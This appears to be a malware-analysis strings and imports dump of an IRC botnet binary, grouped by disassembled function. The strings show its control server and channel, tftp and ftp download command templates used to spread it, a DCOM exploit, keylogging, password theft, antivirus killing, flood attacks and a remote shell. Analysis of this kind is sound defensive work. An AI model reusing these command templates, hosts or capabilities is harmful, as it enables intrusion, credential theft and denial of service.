sub_4075C7(0426):
WS2_32.send
"\n"
"PRIVMSG %s :Searching for: %s\r\n"
"\r\n\r\nIndex of %s</TIT"...
"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
".."
"."
"PM"
"AM"
"%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
"<%s>"
"PRIVMSG %s :%-31s %-21s\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s/"
"\"><CODE>%.29s>/</CODE></A>"
"\"><CODE>%s/</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"<%s>"
"%-31s %-21s\r\n"
"PRIVMSG %s :%-31s %-21s (%s bytes)\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s"
"\"><CODE>%.30s></CODE></A>"
"\"><CODE>%s</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"%-31s %-21s (%i bytes)\r\n"
"PRIVMSG %s :Found %s Files and %s Direc"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_41327B"><td><pre><a name="sub_41327B"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41327B"><font size=+2>sub_41327B</a>(046e)</font>:<font color=brown>
"[RLOGIND]: Login rejected, Remote user:"...
</font></pre></td></tr><tr id="sub_415273"><td><pre><a name="sub_415273"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_415273"><font size=+2>sub_415273</a>(04c3)</font>:<font color=brown>
"%dd %dh %dm"
</font></pre></td></tr><tr id="sub_4139E0"><td><pre><a name="sub_4139E0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4139E0"><font size=+2>sub_4139E0</a>(04fb)</font>:<font color=darkgreen>
WS2_32.inet_ntoa
WS2_32.htonl</font>
<font color=brown>
"[SCAN]: Scanning IP: %s, Port: %d."
</font></pre></td></tr><tr id="sub_416544"><td><pre><a name="sub_416544"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_416544"><font size=+2>sub_416544</a>(0643)</font>:<font color=darkgreen>
WININET.InternetCrackUrlA
WININET.InternetConnectA
WININET.HttpOpenRequestA
WININET.HttpSendRequestA
WININET.InternetCloseHandle</font>
<font color=brown>
"*/*"
"[VISIT]: URL visited."
"[VISIT]: Failed to get requested URL fr"...
"[VISIT]: Invalid URL."
"[VISIT]: Could not open a connection."
"[VISIT]: Failed to connect to HTTP serv"...
</font></pre></td></tr><tr id="sub_41B0E0"><td><pre><a name="sub_41B0E0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41B0E0"><font size=+2>sub_41B0E0</a>(07ff)</font>:<font color=brown>
"s != NULL"
"mbstowcs.c"
</font></pre></td></tr><tr id="sub_421980"><td><pre><a name="sub_421980"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_421980"><font size=+2>sub_421980</a>(08ae)</font>:<font color=brown>
"filename != NULL"
"_open.c"
"mode != NULL"
"_open.c"
"str != NULL"
"_open.c"
</font></pre></td></tr><tr id="sub_40A15D"><td><pre><a name="sub_40A15D"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40A15D"><font size=+2>sub_40A15D</a>(0b6c)</font>:<font color=darkgreen>
ADVAPI32.OpenSCManagerA
ADVAPI32.EnumServicesStatusA
ADVAPI32.CloseServiceHandle</font>
<font color=brown>
"The following Windows services are regi"...
" Unknown"
" Paused"
" Pausing"
" Continuing"
" Running"
" Stoping"
" Starting"
" Stopped"
"%s: %s (%s)"
</font></pre></td></tr><tr id="sub_414ECB"><td><pre><a name="sub_414ECB"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_414ECB"><font size=+2>sub_414ECB</a>(0c04)</font>:<font color=brown>
"[SYN]: Done with flood (%iKB/sec)."
</font></pre></td></tr><tr id="sub_415430"><td><pre><a name="sub_415430"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_415430"><font size=+2>sub_415430</a>(0c5f)</font>:<font color=darkgreen>
ADVAPI32.GetUserNameA
WS2_32.inet_addr
WS2_32.gethostbyaddr</font>
<font color=brown>
"95"
"NT"
"98"
"ME"
"2K"
"XP"
"2003"
"???"
"%s (%s)"
"couldn't resolve host"
"dd:MMM:yyyy"
"HH:mm:ss"
"[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
</font></pre></td></tr><tr id="sub_40BBCB"><td><pre><a name="sub_40BBCB"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40BBCB"><font size=+2>sub_40BBCB</a>(0d59)</font>:<font color=darkgreen>
KERNEL32.SetErrorMode
WS2_32.WSAStartup
WS2_32.WSACleanup
WININET.InternetGetConnectedState</font>
<font color=brown>
"FEnR"
"%s%s"
"amngesiyko.exe"
"amngesiyko.exe"
"%s\\%s"
"%s %d \"%s\""
"[MAIN]: Bot started."
"[PROCS]: AV/FW Killer active."
"[PROCS]: Failed to start AV/FW killer t"...
"[SECURE]: Registry monitor active."
"[SECURE]: Failed to start registry thre"...
"[IDENTD]: Server running on Port: 113."
"[IDENTD]: Failed to start server, error"...
"ff.arab-hacker.org"
"#ff"
"fuckoff"
"ff.arab-hacker.org"
"#ff"
"fuckoff"
</font></pre></td></tr><tr id="sub_419C70"><td><pre><a name="sub_419C70"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_419C70"><font size=+2>sub_419C70</a>(0d6b)</font>:<font color=brown>
"file != NULL"
"fopen.c"
"*file != _T('\\0')"
"fopen.c"
"mode != NULL"
"fopen.c"
"*mode != _T('\\0')"
"fopen.c"
</font></pre></td></tr><tr id="sub_41B7D0"><td><pre><a name="sub_41B7D0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41B7D0"><font size=+2>sub_41B7D0</a>(0ec7)</font>:<font color=brown>
"stream != NULL"
"fseek.c"
</font></pre></td></tr><tr id="sub_4013F1"><td><pre><a name="sub_4013F1"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4013F1"><font size=+2>sub_4013F1</a>(101e)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.htons
WS2_32.inet_addr
WS2_32.connect
WS2_32.send
WS2_32.recv
WS2_32.closesocket</font>
<font color=brown>
"[TFTP]: File transfer complete to IP: %"...
"Dcom135"
"[%s]: Exploiting IP: %s."
</font></pre></td></tr><tr id="sub_4085A9"><td><pre><a name="sub_4085A9"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4085A9"><font size=+2>sub_4085A9</a>(11d7)</font>:<font color=darkgreen>
USER32.GetForegroundWindow
USER32.GetWindowTextA
USER32.GetKeyState
USER32.GetAsyncKeyState</font>
<font color=brown>
"%s (Changed Windows: %s)"
"b"
"%s (Buffer full) (%s)"
"%s (Return) (%s)"
</font></pre></td></tr><tr id="sub_40B735"><td><pre><a name="sub_40B735"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40B735"><font size=+2>sub_40B735</a>(12e2)</font>:<font color=brown>
"[PROC]: Listing processes:"
"[PROC]: Process list completed."
"[PROC]: Process list failed."
</font></pre></td></tr><tr id="sub_4056BD"><td><pre><a name="sub_4056BD"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4056BD"><font size=+2>sub_4056BD</a>(1416)</font>:<font color=brown>
"%sKB"
"%sKB"
"%sKB"
"failed"
"failed"
"failed"
</font></pre></td></tr><tr id="sub_403948"><td><pre><a name="sub_403948"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_403948"><font size=+2>sub_403948</a>(1772)</font>:<font color=darkgreen>
GDI32.CreateDCA
GDI32.GetDeviceCaps
GDI32.CreateCompatibleDC
GDI32.CreateDIBSection
GDI32.SelectObject
GDI32.BitBlt
GDI32.GetDIBColorTable
GDI32.DeleteObject
GDI32.DeleteDC</font>
<font color=brown>
"DISPLAY"
</font></pre></td></tr><tr id="sub_407317"><td><pre><a name="sub_407317"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_407317"><font size=+2>sub_407317</a>(194c)</font>:<font color=darkgreen>
WS2_32.closesocket</font>
<font color=brown>
"\\%s"
"%s"
"%s%s"
"\n"
"*"
"[HTTPD]: Worker thread of server thread"...
"[HTTPD]: Failed to start worker thread,"...
</font></pre></td></tr><tr id="sub_409B65"><td><pre><a name="sub_409B65"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_409B65"><font size=+2>sub_409B65</a>(1cd5)</font>:<font color=darkgreen>
USER32.FindWindowA
USER32.SendMessageA</font>
<font color=brown>
"mIRC"
"mIRC"
</font></pre></td></tr><tr id="sub_417B40"><td><pre><a name="sub_417B40"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_417B40"><font size=+2>sub_417B40</a>(1dec)</font>:<font color=brown>
"memory check error at 0x%08X = 0x%02X, "...
</font></pre></td></tr><tr id="sub_4302F0"><td><pre><a name="sub_4302F0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4302F0"><font size=+2>sub_4302F0</a>(1e26)</font>:<font color=brown>
"cchCount1==0 && cchCount2==1 || cchCoun"...
"a_cmp.c"
</font></pre></td></tr><tr id="sub_41E810"><td><pre><a name="sub_41E810"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41E810"><font size=+2>sub_41E810</a>(1ed9)</font>:<font color=brown>
"str != NULL"
"_flsbuf.c"
"(\"inconsistent IOB fields\", stream->_pt"...
"_flsbuf.c"
</font></pre></td></tr><tr id="sub_4197D0"><td><pre><a name="sub_4197D0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4197D0"><font size=+2>sub_4197D0</a>(1fb5)</font>:<font color=brown>
"str != NULL"
"fclose.c"
</font></pre></td></tr><tr id="sub_417BD0"><td><pre><a name="sub_417BD0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_417BD0"><font size=+2>sub_417BD0</a>(207f)</font>:<font color=brown>
"_heapchk fails with _HEAPBADBEGIN.\n"
"%s"
"_heapchk fails with _HEAPBADNODE.\n"
"%s"
"_heapchk fails with _HEAPBADEND.\n"
"%s"
"_heapchk fails with _HEAPBADPTR.\n"
"%s"
"_heapchk fails with unknown return valu"...
"%s"
"DAMAGE: before %hs block (#%d) at 0x%08"...
"DAMAGE: after %hs block (#%d) at 0x%08X"...
"DAMAGE: on top of Free block at 0x%08X."...
"%hs allocated at file %hs(%d).\n"
"%hs located at 0x%08X is %u bytes long."...
</font></pre></td></tr><tr id="sub_412D0F"><td><pre><a name="sub_412D0F"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_412D0F"><font size=+2>sub_412D0F</a>(21b8)</font>:<font color=brown>
"[CMD]: Could not read data from procces"...
"[CMD]: Proccess has terminated.\r\n"
"[CMD]: Could not read data from procces"...
</font></pre></td></tr><tr id="sub_40842D"><td><pre><a name="sub_40842D"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40842D"><font size=+2>sub_40842D</a>(2211)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown>
"NOTICE"
"PRIVMSG"
"%s"
"%s %s :%s\r\n"
</font></pre></td></tr><tr id="sub_427100"><td><pre><a name="sub_427100"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_427100"><font size=+2>sub_427100</a>(2275)</font>:<font color=brown>
"str != NULL"
"_getbuf.c"
"_getbuf.c"
</font></pre></td></tr><tr id="sub_402D70"><td><pre><a name="sub_402D70"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_402D70"><font size=+2>sub_402D70</a>(22a3)</font>:<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_424120"><td><pre><a name="sub_424120"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_424120"><font size=+2>sub_424120</a>(2402)</font>:<font color=brown>
"flag == 0 || flag == 1"
"_sftbuf.c"
</font></pre></td></tr><tr id="sub_4064A6"><td><pre><a name="sub_4064A6"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4064A6"><font size=+2>sub_4064A6</a>(24da)</font>:<font color=darkgreen>
WS2_32.inet_addr
WS2_32.socket
WS2_32.htons
WS2_32.connect
WS2_32.send
WS2_32.recv
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_423690"><td><pre><a name="sub_423690"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_423690"><font size=+2>sub_423690</a>(270a)</font>:<font color=brown>
"setlocal.c"
</font></pre></td></tr><tr id="sub_414DCB"><td><pre><a name="sub_414DCB"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_414DCB"><font size=+2>sub_414DCB</a>(2729)</font>:<font color=darkgreen>
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.recv
WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_40A29A"><td><pre><a name="sub_40A29A"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40A29A"><font size=+2>sub_40A29A</a>(2781)</font>:<font color=brown>
"[NET]: %s: Error with share: '%s'. %s"
"[NET]: %s share: '%s'."
"[NET]: %s: No share specified."
</font></pre></td></tr><tr id="sub_40291D"><td><pre><a name="sub_40291D"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40291D"><font size=+2>sub_40291D</a>(28ed)</font>:<font color=darkgreen>
WS2_32.inet_ntoa</font>
<font color=brown>
"[SCAN]: Current IP: %s."
"[SCAN]: Scan not active."
</font></pre></td></tr><tr id="sub_4062BE"><td><pre><a name="sub_4062BE"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4062BE"><font size=+2>sub_4062BE</a>(2950)</font>:<font color=brown>
"[FINDPASS]: The Windows logon (Pid: <%d"...
</font></pre></td></tr><tr id="sub_403B83"><td><pre><a name="sub_403B83"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_403B83"><font size=+2>sub_403B83</a>(2bb5)</font>:<font color=darkgreen>
USER32.IsWindow
USER32.SendMessageA
USER32.DestroyWindow</font>
<font color=brown>
"Window"
</font></pre></td></tr><tr id="sub_416F00"><td><pre><a name="sub_416F00"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_416F00"><font size=+2>sub_416F00</a>(2daa)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook re-allocation failure at fi"...
"Client hook re-allocation failure.\n"
"%s"
"Allocation too large or negative: %u by"...
"Error: memory allocation: bad memory bl"...
"%s"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"pOldBlock->nLine == IGNORE_LINE && pOld"...
"dbgheap.c"
"_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
"dbgheap.c"
"fRealloc || (!fRealloc && pNewBlock == "...
"dbgheap.c"
"_pLastBlock == pOldBlock"
"dbgheap.c"
"_pFirstBlock == pOldBlock"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_40823C"><td><pre><a name="sub_40823C"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40823C"><font size=+2>sub_40823C</a>(2f11)</font>:<font color=darkgreen>
WS2_32.htons
WS2_32.socket
WS2_32.bind
WS2_32.listen
WS2_32.accept
WS2_32.inet_ntoa
WS2_32.recv
WS2_32.send
WS2_32.WSAGetLastError
WS2_32.closesocket</font>
<font color=brown>
"[IDENTD]: Client connection from IP: %s"...
" : USERID : UNIX : %s\r\n"
"[IDENTD]: Error: server failed, returne"...
</font></pre></td></tr><tr id="sub_413913"><td><pre><a name="sub_413913"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_413913"><font size=+2>sub_413913</a>(2fa7)</font>:<font color=darkgreen>
WS2_32.htons
WS2_32.socket
WS2_32.connect
WS2_32.inet_ntoa
WS2_32.closesocket</font>
<font color=brown>
"[SCAN]: IP: %s Port: %d is open."
</font></pre></td></tr><tr id="sub_401A3C"><td><pre><a name="sub_401A3C"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_401A3C"><font size=+2>sub_401A3C</a>(3317)</font>:<font color=darkgreen>
WS2_32.inet_addr
WS2_32.htons
WS2_32.socket
WS2_32.connect
WS2_32.recv
WS2_32.send
WS2_32.closesocket</font>
<font color=brown>
"amngesiyko.exe"
"tftp -i %s get %s\r\n"
"echo open %s %d > o&echo user 1 1 >> o "...
"%s\r\n"
</font></pre></td></tr><tr id="sub_41AD60"><td><pre><a name="sub_41AD60"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41AD60"><font size=+2>sub_41AD60</a>(331e)</font>:<font color=brown>
"str != NULL"
"fprintf.c"
"format != NULL"
"fprintf.c"
</font></pre></td></tr><tr id="sub_4041AA"><td><pre><a name="sub_4041AA"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4041AA"><font size=+2>sub_4041AA</a>(3339)</font>:<font color=brown>
"rb"
</font></pre></td></tr><tr id="sub_40AF08"><td><pre><a name="sub_40AF08"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40AF08"><font size=+2>sub_40AF08</a>(33c4)</font>:<font color=darkgreen>
IPHLPAPI.GetIpNetTable
IPHLPAPI.DeleteIpNetEntry</font>
<font color=brown>
"[FLUSHDNS]: Error getting ARP cache: <%"...
"[FLUSHDNS]: ARP cache is empty."
"[FLUSHDNS]: Error getting ARP cache: <%"...
"[FLUSHDNS]: Unable to allocation ARP ca"...
"[FLUSHDNS]: Not supported by this syste"...
</font></pre></td></tr><tr id="sub_423830"><td><pre><a name="sub_423830"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_423830"><font size=+2>sub_423830</a>(3752)</font>:<font color=brown>
"setlocal.c"
"="
";"
</font></pre></td></tr><tr id="sub_422700"><td><pre><a name="sub_422700"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_422700"><font size=+2>sub_422700</a>(3868)</font>:<font color=brown>
"KERNEL32"
"IsProcessorFeaturePresent"
</font></pre></td></tr><tr id="sub_402D28"><td><pre><a name="sub_402D28"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_402D28"><font size=+2>sub_402D28</a>(3b1d)</font>:<font color=darkgreen>
WS2_32.htonl</font>
<font color=brown></font></pre></td></tr><tr id="sub_409D2E"><td><pre><a name="sub_409D2E"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_409D2E"><font size=+2>sub_409D2E</a>(3cc3)</font>:<font color=brown>
"%sdel.bat"
"@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
"%%comspec%% /c %s %s"
</font></pre></td></tr><tr id="sub_409BEA"><td><pre><a name="sub_409BEA"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_409BEA"><font size=+2>sub_409BEA</a>(3f4b)</font>:<font color=darkgreen>
KERNEL32.SearchPathA</font>
<font color=brown>
"explorer.exe"
</font></pre></td></tr><tr id="sub_427990"><td><pre><a name="sub_427990"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_427990"><font size=+2>sub_427990</a>(3fad)</font>:<font color=brown>
"str != NULL"
"ungetc.c"
</font></pre></td></tr><tr id="sub_42B610"><td><pre><a name="sub_42B610"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_42B610"><font size=+2>sub_42B610</a>(3fbf)</font>:<font color=brown>
"ACP"
"OCP"
</font></pre></td></tr><tr id="sub_412B83"><td><pre><a name="sub_412B83"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_412B83"><font size=+2>sub_412B83</a>(3fdf)</font>:<font color=darkgreen>
WS2_32.recv
WS2_32.send
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_40A48F"><td><pre><a name="sub_40A48F"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40A48F"><font size=+2>sub_40A48F</a>(3fe3)</font>:<font color=darkgreen>
ADVAPI32.IsValidSecurityDescriptor</font>
<font color=brown>
"Share name: Resource: "...
"[NET]: Share list error: %s <%ld>"
"Yes"
"No"
"%-14S %-24S %-6u %-4s"
</font></pre></td></tr><tr id="sub_423FC0"><td><pre><a name="sub_423FC0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_423FC0"><font size=+2>sub_423FC0</a>(4039)</font>:<font color=brown>
"str != NULL"
"_sftbuf.c"
"_sftbuf.c"
</font></pre></td></tr><tr id="sub_40119E"><td><pre><a name="sub_40119E"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40119E"><font size=+2>sub_40119E</a>(40e5)</font>:<font color=brown>
"amngesiyko.exe"
"FXNBFXFXNBFXFXFXFX"
</font></pre></td></tr><tr id="sub_41C310"><td><pre><a name="sub_41C310"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41C310"><font size=+2>sub_41C310</a>(41a7)</font>:<font color=brown>
"szUserMessage != NULL"
"dbgrpt.c"
"<program name unknown>"
"..."
"..."
"\n\nFor information on how your program c"...
"Expression: "
"\n\n"
"\nLine: "
"\nFile: "
"\nModule: "
"Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"...
"_CrtDbgReport: String too long or IO Er"...
"Microsoft Visual C++ Debug Library"
</font></pre></td></tr><tr id="sub_42A100"><td><pre><a name="sub_42A100"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_42A100"><font size=+2>sub_42A100</a>(4234)</font>:<font color=brown>
"initnum.c"
"."
"initnum.c"
"initnum.c"
</font></pre></td></tr><tr id="sub_4142BD"><td><pre><a name="sub_4142BD"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4142BD"><font size=+2>sub_4142BD</a>(4448)</font>:<font color=brown>
"[RLOGIND]: Failed to create shell stdou"...
"[RLOGIND]: Failed to create shell stdin"...
"[RLOGIND]: Failed to execute shell."
</font></pre></td></tr><tr id="sub_41448F"><td><pre><a name="sub_41448F"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41448F"><font size=+2>sub_41448F</a>(4559)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown>
"[RLOGIND]: SessionReadShellThread exite"...
</font></pre></td></tr><tr id="sub_418470"><td><pre><a name="sub_418470"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_418470"><font size=+2>sub_418470</a>(456d)</font>:<font color=brown>
"Dumping objects ->\n"
"%s"
"#File Error#(%d) : "
"%hs(%d) : "
"{%ld} "
"client block at 0x%08X, subtype %x, %u "...
"normal block at 0x%08X, %u bytes long.\n"...
"crt block at 0x%08X, subtype %x, %u byt"...
"Object dump complete.\n"
"%s"
</font></pre></td></tr><tr id="sub_40371E"><td><pre><a name="sub_40371E"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40371E"><font size=+2>sub_40371E</a>(461b)</font>:<font color=brown>
"[LOGS]: Cleared."
"[LOGS]: Cleared."
</font></pre></td></tr><tr id="sub_413802"><td><pre><a name="sub_413802"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_413802"><font size=+2>sub_413802</a>(468e)</font>:<font color=darkgreen>
USER32.FindWindowA</font>
<font color=brown>
"mIRC"
"[M]"
"[%d]%s"
"mIRC"
"[M]"
</font></pre></td></tr><tr id="sub_4273B0"><td><pre><a name="sub_4273B0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4273B0"><font size=+2>sub_4273B0</a>(4816)</font>:<font color=brown>
"MB_CUR_MAX == 1 || MB_CUR_MAX == 2"
"mbtowc.c"
</font></pre></td></tr><tr id="sub_418850"><td><pre><a name="sub_418850"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_418850"><font size=+2>sub_418850</a>(494e)</font>:<font color=brown>
"Detected memory leaks!\n"
"%s"
</font></pre></td></tr><tr id="sub_429780"><td><pre><a name="sub_429780"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_429780"><font size=+2>sub_429780</a>(5012)</font>:<font color=brown>
"inittime.c"
</font></pre></td></tr><tr id="sub_416B00"><td><pre><a name="sub_416B00"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_416B00"><font size=+2>sub_416B00</a>(5171)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook allocation failure at file "...
"Client hook allocation failure.\n"
"%s"
"Invalid allocation size: %u bytes.\n"
"Error: memory allocation: bad memory bl"...
"%s"
</font></pre></td></tr><tr id="sub_402994"><td><pre><a name="sub_402994"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_402994"><font size=+2>sub_402994</a>(51a0)</font>:<font color=brown>
"amngesiyko.exe"
"[TFTP]: Server started on Port: %d, Fil"...
"[TFTP]: Failed to start server, error: "...
"amngesiyko.exe"
"[FTP]: Server started on Port: %d, File"...
"[FTP]: Failed to start server, error: <"...
"[HTTPD]: Server listening on IP: %s:%d,"...
"[HTTPD]: Failed to start server, error:"...
</font></pre></td></tr><tr id="sub_416326"><td><pre><a name="sub_416326"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_416326"><font size=+2>sub_416326</a>(5581)</font>:<font color=darkgreen>
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_404C3D"><td><pre><a name="sub_404C3D"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_404C3D"><font size=+2>sub_404C3D</a>(5910)</font>:<font color=brown>
"[DDoS]: Done with flood (%iKB/sec)."
</font></pre></td></tr><tr id="sub_405A20"><td><pre><a name="sub_405A20"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_405A20"><font size=+2>sub_405A20</a>(594b)</font>:<font color=brown>
"[FINDFILE]: Searching for file: %s."
"[FINDFILE]: Files found: %d."
</font></pre></td></tr><tr id="sub_405675"><td><pre><a name="sub_405675"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_405675"><font size=+2>sub_405675</a>(5b85)</font>:<font color=darkgreen>
KERNEL32.GetDiskFreeSpaceExA</font>
<font color=brown></font></pre></td></tr><tr id="sub_40C50A"><td><pre><a name="sub_40C50A"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40C50A"><font size=+2>sub_40C50A</a>(5bd2)</font>:<font color=darkgreen>
WS2_32.WSAStartup
WS2_32.gethostbyname
WS2_32.socket
WS2_32.htons
WS2_32.connect
WS2_32.recv
WS2_32.send
WS2_32.closesocket
WS2_32.WSACleanup
WS2_32.getsockname
WS2_32.inet_ntoa
WS2_32.inet_addr
WS2_32.gethostbyaddr
DNSAPI.DnsFlushResolverCache</font>
<font color=brown>
" :"
" "
" "
"!"
"PING"
"PONG %s\r\n"
"JOIN %s %s\r\n"
"001"
"005"
"302"
"@"
"433"
"NICK %s\r\n"
"KICK"
"[MAIN]: User %s logged out."
"NOTICE %s :%s\r\n"
"JOIN %s %s\r\n"
"NICK"
":%s%s"
"PART"
"QUIT"
"353"
"[MAIN]: Joined channel: %s."
"[MAIN]: User: %s logged out."
"PART"
"NOTICE %s :%s\r\n"
"PRIVMSG"
"NOTICE"
"332"
"PRIVMSG"
"NOTICE"
"SEND"
"%s"
"%s"
"[DCC]: Receive file: '%s' from user: %s"...
"NOTICE"
"#"
"[DCC]: Failed to start transfer thread,"...
"[DCC]: Receive file: '%s' failed from u"...
"CHAT"
"%s"
"[DCC]: Chat from user: %s."
"[DCC]: Failed to start chat thread, err"...
"[DCC]: Chat already active with user: %"...
"[DCC]: Chat failed by unauthorized user"...
"hi"
"Fr"
"332"
" :"
"$%d-"
"$%d"
"$me"
"$user"
"$chan"
"$rndnick"
"$server"
"$chr("
"$chr("
")"
"63"
" "
" "
"rndnick"
"rn"
"die"
"d"
"logout"
"lo"
"version"
"ver"
"secure"
"sec"
"unsecure"
"unsec"
"socks4"
"s4"
"socks4stop"
"Server"
"[SOCKS4]"
"rloginstop"
"Server"
"[RLOGIND]"
"httpstop"
"Server"
"[HTTPD]"
"logstop"
"Log list"
"[LOG]"
"redirectstop"
"TCP redirect"
"[REDIRECT]"
"ddos.stop"
"DDoS flood"
"[DDoS]"
"synstop"
"Syn flood"
"[SYN]"
"udpstop"
"UDP flood"
"[UPD]"
"pingstop"
"Ping flood"
"[PING]"
"tftpstop"
"Server"
"[TFTP]"
"findfilestop"
"ffstop"
"procsstop"
"psstop"
"clonestop"
"Clone"
"[CLONES]"
"securestop"
"Secure"
"[SECURE]"
"scanstop"
"Scan"
"[SCAN]"
"scanstats"
"stats"
"reconnect"
"r"
"disconnect"
"dc"
